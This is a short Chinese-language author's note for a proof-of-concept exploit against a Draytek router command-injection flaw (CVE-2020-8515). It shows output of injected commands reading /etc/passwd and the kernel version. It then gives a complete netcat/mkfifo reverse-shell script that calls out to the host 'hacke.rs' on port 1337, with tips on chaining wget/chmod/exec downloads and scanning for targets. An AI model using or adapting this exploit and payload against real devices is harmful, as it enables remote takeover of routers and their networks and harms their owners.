Draytek CVE-2020-8515 PoC 我早就写好的。
有趣的是,注入的命令会被执行两次,看这里:
$ ./draytek.py draytek.local
(>) executing command: cat /etc/passwd
(+) vulnerable!
(>) executing command: uname -a
Linux Vigor3900 2.6.33.5 #1 Wed Mar 28 00:49:28 CST 2018 armv6l unknown
Linux Vigor3900 2.6.33.5 #1 Wed Mar 28 00:49:28 CST 2018 armv6l unknown
我本来打算好好完善一下,但说实话,已经过去一年多了,我都忘了当初想怎么完善了,所以就这样吧。在这个基础上加一些 wget/chmod/exec 的东西并不难,只需要看看 do_stuff 函数就行了。
如果你用 wget 下载并运行类似下面的脚本,就能获得一个反向 shell:
#!/bin/sh
HOST="hacke.rs"
PORT=1337
rm -f /tmp/a; mkfifo /tmp/a; nc $HOST $PORT 0</tmp/a | /bin/sh >/tmp/a 2>&1; rm /tmp/a
我想如果你能绕过注入中的坏字符,可能也可以用 echoload 这样的脚本,也许以后我会加上这个功能——不过重复执行的问题让这件事变得有点麻烦。目前这个版本有点半成品,“用户自行决定”。
这个漏洞在实际攻击中不会造成太大危害,所有存在此漏洞的设备可能早就被脚本小子控制的 DDoS 僵尸网络利用了。
扫描的话,可以使用别人写的 nuclei 模板。